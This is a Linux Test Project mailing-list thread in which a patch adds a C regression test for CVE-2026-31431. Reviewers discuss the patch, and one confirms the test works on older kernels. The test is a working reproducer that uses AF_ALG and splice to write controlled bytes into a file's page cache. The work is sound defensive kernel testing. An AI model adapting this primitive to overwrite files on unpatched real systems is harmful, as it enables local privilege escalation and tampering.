Linux Test Project
 help / color / mirror / Atom feed
* [LTP] [PATCH] cve-2026-31431: Add page cache corruption reproducer
@ 2026-04-30 10:17 Andrea Cervesato
  2026-04-30 10:32 ` [LTP] " linuxtestproject.agent
                   ` (2 more replies)
  0 siblings, 3 replies; 5+ messages in thread
From: Andrea Cervesato @ 2026-04-30 10:17 UTC (permalink / raw)
  To: Linux Test Project

From: Andrea Cervesato <andrea.cervesato@suse.com>

A logic bug in authencesn allows an unprivileged user to corrupt
4 bytes of page cache via AF_ALG + splice. The test writes known
data to a file, attempts corruption through the AEAD scratch-write
path, and verifies whether the file content was modified.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve                    |   1 +
 testcases/cve/.gitignore       |   1 +
 testcases/cve/cve-2026-31431.c | 172 +++++++++++++++++++++++++++++++++++++++++
 3 files changed, 174 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index c3ecd74dd9f837924b810b7b431ebb911d809966..499cbb3bc4170453560c329133e2c52b5a3b8c5c 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03
 cve-2022-4378 cve-2022-4378
 cve-2025-38236 cve-2025-38236
 cve-2025-21756 cve-2025-21756
+cve-2026-31431 cve-2026-31431
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index dc1dad5b0d0d02a3ab57e72516c33ee7949c8431..f8e2b7a7d0a6c0c32f8908ae9974ead6a57f358b 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -15,3 +15,4 @@ icmp_rate_limit01
 tcindex01
 cve-2025-38236
 cve-2025-21756
+cve-2026-31431
diff --git a/testcases/cve/cve-2026-31431.c b/testcases/cve/cve-2026-31431.c
new file mode 100644
index 0000000000000000000000000000000000000000..b762096c1ecb940267ab2a337130939763f75452
--- /dev/null
+++ b/testcases/cve/cve-2026-31431.c
@@ -0,0 +1,172 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Test for CVE-2026-31431 ("Copy Fail") fixed in kernel v7.0:
+ * a664bf3d603d ("crypto: algif_aead - Separate src from dst")
+ *
+ * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended
+ * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes
+ * into the page cache of any readable file. During AEAD decryption,
+ * authencesn uses the destination scatterlist as scratch space for ESN byte
+ * rearrangement. When data is spliced from a file into an AF_ALG socket, the
+ * 2017 in-place optimization (72548b093ee3) places page cache pages into the
+ * writable destination scatterlist. authencesn's scratch write then corrupts
+ * those pages.
+ *
+ * The test creates a file with known data, attempts page cache corruption via
+ * the AF_ALG + splice technique, and verifies whether the file content was
+ * modified.
+ *
+ * Reproducer based on:
+ * https://github.com/theori-io/copy-fail-CVE-2026-31431
+ */
+
+#include "tst_test.h"
+#include "tst_af_alg.h"
+#include "lapi/socket.h"
+#include "lapi/splice.h"
+
+#define TESTFILE "copy_fail"
+#define OVERWRITE_SIZE 4
+#define AEAD_AUTHSIZE 4
+#define AEAD_ASSOCLEN 8
+#define AES_IV_SIZE 16
+#define SPI_SIZE 4
+
+static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' };
+static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' };
+
+/*
+ * authenc key format: struct rtattr header (8 bytes) +
+ * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes)
+ */
+static const uint8_t authenc_key[] = {
+	0x08, 0x00, 0x01, 0x00,
+	0x00, 0x00, 0x00, 0x10,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+};
+
+static void try_corrupt(int fd)
+{
+	int algfd, reqfd, pipefd[2];
+	loff_t off_in = 0;
+	uint8_t aad[AEAD_ASSOCLEN];
+	uint8_t iv[AES_IV_SIZE] = { 0 };
+	struct af_alg_iv *alg_iv;
+	struct cmsghdr *cmsg;
+	char recvbuf[AEAD_ASSOCLEN];
+
+	/* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */
+	memset(aad, 'A', SPI_SIZE);
+	memcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE);
+
+	algfd = tst_alg_setup("aead", "authencesn(hmac(sha256),cbc(aes))",
+			      authenc_key, sizeof(authenc_key));
+	SAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL,
+			AEAD_AUTHSIZE);
+
+	reqfd = tst_alg_accept(algfd);
+
+	struct iovec iov = {
+		.iov_base = aad,
+		.iov_len = sizeof(aad),
+	};
+
+	uint8_t cbuf[CMSG_SPACE(sizeof(uint32_t)) +
+		     CMSG_SPACE(sizeof(struct af_alg_iv) + AES_IV_SIZE) +
+		     CMSG_SPACE(sizeof(uint32_t))];
+
+	memset(cbuf, 0, sizeof(cbuf));
+
+	struct msghdr msg = {
+		.msg_iov = &iov,
+		.msg_iovlen = 1,
+		.msg_control = cbuf,
+		.msg_controllen = sizeof(cbuf),
+	};
+
+	cmsg = CMSG_FIRSTHDR(&msg);
+	cmsg->cmsg_level = SOL_ALG;
+	cmsg->cmsg_type = ALG_SET_OP;
+	cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
+	*(uint32_t *)CMSG_DATA(cmsg) = ALG_OP_DECRYPT;
+
+	cmsg = CMSG_NXTHDR(&msg, cmsg);
+	cmsg->cmsg_level = SOL_ALG;
+	cmsg->cmsg_type = ALG_SET_IV;
+	cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + AES_IV_SIZE);
+	alg_iv = (struct af_alg_iv *)CMSG_DATA(cmsg);
+	alg_iv->ivlen = AES_IV_SIZE;
+	memcpy(alg_iv->iv, iv, AES_IV_SIZE);
+
+	cmsg = CMSG_NXTHDR(&msg, cmsg);
+	cmsg->cmsg_level = SOL_ALG;
+	cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
+	cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
+	*(uint32_t *)CMSG_DATA(cmsg) = AEAD_ASSOCLEN;
+
+	SAFE_SENDMSG(sizeof(aad), reqfd, &msg, MSG_MORE);
+
+	SAFE_PIPE(pipefd);
+
+	TEST(splice(fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));
+	if (TST_RET < 0)
+		tst_brk(TBROK | TTERRNO, "splice(file -> pipe)");
+
+	TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));
+	if (TST_RET < 0)
+		tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)");
+
+	/* Expected to fail (invalid ciphertext); triggers the scratch write */
+	TST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG);
+
+	SAFE_CLOSE(pipefd[0]);
+	SAFE_CLOSE(pipefd[1]);
+	SAFE_CLOSE(reqfd);
+	SAFE_CLOSE(algfd);
+}
+
+static void run(void)
+{
+	int file_fd;
+	uint8_t readback[OVERWRITE_SIZE];
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	try_corrupt(file_fd);
+	SAFE_CLOSE(file_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	SAFE_READ(1, file_fd, readback, sizeof(readback));
+	SAFE_CLOSE(file_fd);
+
+	if (memcmp(readback, original, OVERWRITE_SIZE) != 0)
+		tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice");
+	else
+		tst_res(TPASS, "Page cache was not corrupted");
+}
+
+static void setup(void)
+{
+	int fd;
+
+	fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT | O_TRUNC, 0644);
+	SAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);
+	SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_tmpdir = 1,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "a664bf3d603d"},
+		{"CVE", "2026-31431"},
+		{}
+	},
+};

---
base-commit: 69b8169310425b8c5abd01d3fdb46f6d939e8a66
change-id: 20260430-cve-2026-31431-eda4297d56bc

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 5+ messages in thread

* Re: [LTP] cve-2026-31431: Add page cache corruption reproducer
  2026-04-30 10:17 [LTP] [PATCH] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
@ 2026-04-30 10:32 ` linuxtestproject.agent
  2026-04-30 12:12 ` [LTP] [PATCH] " Avinesh Kumar via ltp
  2026-04-30 12:15 ` Martin Doucha
  2 siblings, 0 replies; 5+ messages in thread
From: linuxtestproject.agent @ 2026-04-30 10:32 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: ltp, LTP AI Reviewer

Hi Andrea,

On Thu, 30 Apr 2026 12:17:14 +0200, Andrea Cervesato wrote:
> cve-2026-31431: Add page cache corruption reproducer

Reviewed-by: LTP AI Reviewer <ltp-ai@noreply.github.com>

---
Note:

Our agent completed the review of the patch. The full review can be
found at: https://github.com/linux-test-project/ltp-agent/actions/runs/25160424399

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [LTP] [PATCH] cve-2026-31431: Add page cache corruption reproducer
  2026-04-30 10:17 [LTP] [PATCH] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
  2026-04-30 10:32 ` [LTP] " linuxtestproject.agent
@ 2026-04-30 12:12 ` Avinesh Kumar via ltp
  2026-04-30 12:19   ` Martin Doucha
  2026-04-30 12:15 ` Martin Doucha
  2 siblings, 1 reply; 5+ messages in thread
From: Avinesh Kumar via ltp @ 2026-04-30 12:12 UTC (permalink / raw)
  To: Andrea Cervesato; +Cc: Linux Test Project

Hi Andrea,

> +static void run(void)
> +{
> +	int file_fd;
> +	uint8_t readback[OVERWRITE_SIZE];
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	try_corrupt(file_fd);
> +	SAFE_CLOSE(file_fd);
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	SAFE_READ(1, file_fd, readback, sizeof(readback));
> +	SAFE_CLOSE(file_fd);
> +
> +	if (memcmp(readback, original, OVERWRITE_SIZE) != 0)
> +		tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice");
> +	else
> +		tst_res(TPASS, "Page cache was not corrupted");
> +}
> +
> +static void setup(void)
> +{
> +	int fd;
> +
> +	fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT | O_TRUNC, 0644);
> +	SAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);
> +	SAFE_CLOSE(fd);
> +}

when running more than 1 iteration (i.e. -i2) on a vulnerable kernel, the

first iteration is overwriting the page cache with PWND, and subsequent

iterations are starting with  a corrupted file already, we need to move

the setup part also to run() and we can drop setup().


with that:
Tested-by: Avinesh Kumar <avinesh.kumar@suse.com>

> +
> +static struct tst_test test = {
> +	.test_all = run,
> +	.setup = setup,
> +	.needs_tmpdir = 1,
> +	.tags = (const struct tst_tag[]) {
> +		{"linux-git", "a664bf3d603d"},
> +		{"CVE", "2026-31431"},
> +		{}
> +	},
> +};
>
> ---

Regards,
Avinesh

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [LTP] [PATCH] cve-2026-31431: Add page cache corruption reproducer
  2026-04-30 10:17 [LTP] [PATCH] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
  2026-04-30 10:32 ` [LTP] " linuxtestproject.agent
  2026-04-30 12:12 ` [LTP] [PATCH] " Avinesh Kumar via ltp
@ 2026-04-30 12:15 ` Martin Doucha
  2 siblings, 0 replies; 5+ messages in thread
From: Martin Doucha @ 2026-04-30 12:15 UTC (permalink / raw)
  To: Andrea Cervesato, Linux Test Project

Hi,
nice work. I've tested the reproducer on kernels v4.12 and v6.12 and I 
can confirm that it works. I have a few ideas for further improvement below.

First of all, I'd recommend moving the test to 
testcases/kernel/crypto/af_alg08.c and adding it to the crypto runfile 
as well.

On 4/30/26 12:17, Andrea Cervesato wrote:
> From: Andrea Cervesato <andrea.cervesato@suse.com>
> 
> A logic bug in authencesn allows an unprivileged user to corrupt
> 4 bytes of page cache via AF_ALG + splice. The test writes known
> data to a file, attempts corruption through the AEAD scratch-write
> path, and verifies whether the file content was modified.
> 
> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
> ---
>   runtest/cve                    |   1 +
>   testcases/cve/.gitignore       |   1 +
>   testcases/cve/cve-2026-31431.c | 172 +++++++++++++++++++++++++++++++++++++++++
>   3 files changed, 174 insertions(+)
> 
> diff --git a/runtest/cve b/runtest/cve
> index c3ecd74dd9f837924b810b7b431ebb911d809966..499cbb3bc4170453560c329133e2c52b5a3b8c5c 100644
> --- a/runtest/cve
> +++ b/runtest/cve
> @@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03
>   cve-2022-4378 cve-2022-4378
>   cve-2025-38236 cve-2025-38236
>   cve-2025-21756 cve-2025-21756
> +cve-2026-31431 cve-2026-31431
> diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
> index dc1dad5b0d0d02a3ab57e72516c33ee7949c8431..f8e2b7a7d0a6c0c32f8908ae9974ead6a57f358b 100644
> --- a/testcases/cve/.gitignore
> +++ b/testcases/cve/.gitignore
> @@ -15,3 +15,4 @@ icmp_rate_limit01
>   tcindex01
>   cve-2025-38236
>   cve-2025-21756
> +cve-2026-31431
> diff --git a/testcases/cve/cve-2026-31431.c b/testcases/cve/cve-2026-31431.c
> new file mode 100644
> index 0000000000000000000000000000000000000000..b762096c1ecb940267ab2a337130939763f75452
> --- /dev/null
> +++ b/testcases/cve/cve-2026-31431.c
> @@ -0,0 +1,172 @@
> +// SPDX-License-Identifier: GPL-2.0-or-later
> +/*
> + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
> + */
> +
> +/*\
> + * Test for CVE-2026-31431 ("Copy Fail") fixed in kernel v7.0:
> + * a664bf3d603d ("crypto: algif_aead - Separate src from dst")
> + *
> + * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended
> + * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes
> + * into the page cache of any readable file. During AEAD decryption,
> + * authencesn uses the destination scatterlist as scratch space for ESN byte
> + * rearrangement. When data is spliced from a file into an AF_ALG socket, the
> + * 2017 in-place optimization (72548b093ee3) places page cache pages into the
> + * writable destination scatterlist. authencesn's scratch write then corrupts
> + * those pages.
> + *
> + * The test creates a file with known data, attempts page cache corruption via
> + * the AF_ALG + splice technique, and verifies whether the file content was
> + * modified.
> + *
> + * Reproducer based on:
> + * https://github.com/theori-io/copy-fail-CVE-2026-31431
> + */
> +
> +#include "tst_test.h"
> +#include "tst_af_alg.h"
> +#include "lapi/socket.h"
> +#include "lapi/splice.h"
> +
> +#define TESTFILE "copy_fail"
> +#define OVERWRITE_SIZE 4
> +#define AEAD_AUTHSIZE 4
> +#define AEAD_ASSOCLEN 8
> +#define AES_IV_SIZE 16
> +#define SPI_SIZE 4
> +
> +static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' };
> +static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' };
> +
> +/*
> + * authenc key format: struct rtattr header (8 bytes) +
> + * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes)
> + */
> +static const uint8_t authenc_key[] = {
> +	0x08, 0x00, 0x01, 0x00,
> +	0x00, 0x00, 0x00, 0x10,
> +	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +};
> +
> +static void try_corrupt(int fd)
> +{
> +	int algfd, reqfd, pipefd[2];
> +	loff_t off_in = 0;
> +	uint8_t aad[AEAD_ASSOCLEN];
> +	uint8_t iv[AES_IV_SIZE] = { 0 };
> +	struct af_alg_iv *alg_iv;
> +	struct cmsghdr *cmsg;
> +	char recvbuf[AEAD_ASSOCLEN];
> +
> +	/* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */
> +	memset(aad, 'A', SPI_SIZE);
> +	memcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE);
> +
> +	algfd = tst_alg_setup("aead", "authencesn(hmac(sha256),cbc(aes))",
> +			      authenc_key, sizeof(authenc_key));
> +	SAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL,
> +			AEAD_AUTHSIZE);
> +
> +	reqfd = tst_alg_accept(algfd);
> +
> +	struct iovec iov = {
> +		.iov_base = aad,
> +		.iov_len = sizeof(aad),
> +	};
> +
> +	uint8_t cbuf[CMSG_SPACE(sizeof(uint32_t)) +
> +		     CMSG_SPACE(sizeof(struct af_alg_iv) + AES_IV_SIZE) +
> +		     CMSG_SPACE(sizeof(uint32_t))];
> +
> +	memset(cbuf, 0, sizeof(cbuf));
> +
> +	struct msghdr msg = {
> +		.msg_iov = &iov,
> +		.msg_iovlen = 1,
> +		.msg_control = cbuf,
> +		.msg_controllen = sizeof(cbuf),
> +	};
> +
> +	cmsg = CMSG_FIRSTHDR(&msg);
> +	cmsg->cmsg_level = SOL_ALG;
> +	cmsg->cmsg_type = ALG_SET_OP;
> +	cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
> +	*(uint32_t *)CMSG_DATA(cmsg) = ALG_OP_DECRYPT;
> +
> +	cmsg = CMSG_NXTHDR(&msg, cmsg);
> +	cmsg->cmsg_level = SOL_ALG;
> +	cmsg->cmsg_type = ALG_SET_IV;
> +	cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + AES_IV_SIZE);
> +	alg_iv = (struct af_alg_iv *)CMSG_DATA(cmsg);
> +	alg_iv->ivlen = AES_IV_SIZE;
> +	memcpy(alg_iv->iv, iv, AES_IV_SIZE);
> +
> +	cmsg = CMSG_NXTHDR(&msg, cmsg);
> +	cmsg->cmsg_level = SOL_ALG;
> +	cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
> +	cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
> +	*(uint32_t *)CMSG_DATA(cmsg) = AEAD_ASSOCLEN;
> +
> +	SAFE_SENDMSG(sizeof(aad), reqfd, &msg, MSG_MORE);

The entire setup between tst_alg_accept() and here could be replaced 
with a single call to tst_alg_sendmsg() + filling out the simple params 
structure. But you'll have to add a new parameter for sendmsg() flags so 
that you can pass MSG_MORE. The function is currently called only from 
af_alg02.

> +
> +	SAFE_PIPE(pipefd);
> +
> +	TEST(splice(fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));
> +	if (TST_RET < 0)
> +		tst_brk(TBROK | TTERRNO, "splice(file -> pipe)");
> +
> +	TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));
> +	if (TST_RET < 0)
> +		tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)");
> +
> +	/* Expected to fail (invalid ciphertext); triggers the scratch write */
> +	TST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG);
> +
> +	SAFE_CLOSE(pipefd[0]);
> +	SAFE_CLOSE(pipefd[1]);
> +	SAFE_CLOSE(reqfd);
> +	SAFE_CLOSE(algfd);

It'd be better to make the file descriptor variables global and close 
them also in cleanup(), in case one of the safe commands fails.

> +}
> +
> +static void run(void)
> +{
> +	int file_fd;
> +	uint8_t readback[OVERWRITE_SIZE];
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	try_corrupt(file_fd);
> +	SAFE_CLOSE(file_fd);
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	SAFE_READ(1, file_fd, readback, sizeof(readback));
> +	SAFE_CLOSE(file_fd);
> +
> +	if (memcmp(readback, original, OVERWRITE_SIZE) != 0)
> +		tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice");
> +	else
> +		tst_res(TPASS, "Page cache was not corrupted");
> +}
> +
> +static void setup(void)
> +{
> +	int fd;
> +
> +	fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT | O_TRUNC, 0644);

Creating the file with access mode 0444 (read-only) would be even better.

> +	SAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);
> +	SAFE_CLOSE(fd);
> +}
> +
> +static struct tst_test test = {
> +	.test_all = run,
> +	.setup = setup,
> +	.needs_tmpdir = 1,
> +	.tags = (const struct tst_tag[]) {
> +		{"linux-git", "a664bf3d603d"},
> +		{"CVE", "2026-31431"},
> +		{}
> +	},
> +};
> 
> ---
> base-commit: 69b8169310425b8c5abd01d3fdb46f6d939e8a66
> change-id: 20260430-cve-2026-31431-eda4297d56bc
> 
> Best regards,


-- 
Martin Doucha   mdoucha@suse.cz
SW Quality Engineer
SUSE LINUX, s.r.o.
CORSO IIa
Krizikova 148/34
186 00 Prague 8
Czech Republic

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [LTP] [PATCH] cve-2026-31431: Add page cache corruption reproducer
  2026-04-30 12:12 ` [LTP] [PATCH] " Avinesh Kumar via ltp
@ 2026-04-30 12:19   ` Martin Doucha
  0 siblings, 0 replies; 5+ messages in thread
From: Martin Doucha @ 2026-04-30 12:19 UTC (permalink / raw)
  To: Avinesh Kumar, Andrea Cervesato; +Cc: Linux Test Project

On 4/30/26 14:12, Avinesh Kumar via ltp wrote:
> when running more than 1 iteration (i.e. -i2) on a vulnerable kernel, the
> first iteration is overwriting the page cache with PWND, and subsequent
> iterations are starting with  a corrupted file already, we need to move
> the setup part also to run() and we can drop setup().

Hi,
does it really matter that we don't clear cache between test iterations? 
If the page cache has been poisoned once, the bug is there.

-- 
Martin Doucha   mdoucha@suse.cz
SW Quality Engineer
SUSE LINUX, s.r.o.
CORSO IIa
Krizikova 148/34
186 00 Prague 8
Czech Republic

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2026-04-30 12:19 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-04-30 10:17 [LTP] [PATCH] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato
2026-04-30 10:32 ` [LTP] " linuxtestproject.agent
2026-04-30 12:12 ` [LTP] [PATCH] " Avinesh Kumar via ltp
2026-04-30 12:19   ` Martin Doucha
2026-04-30 12:15 ` Martin Doucha

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox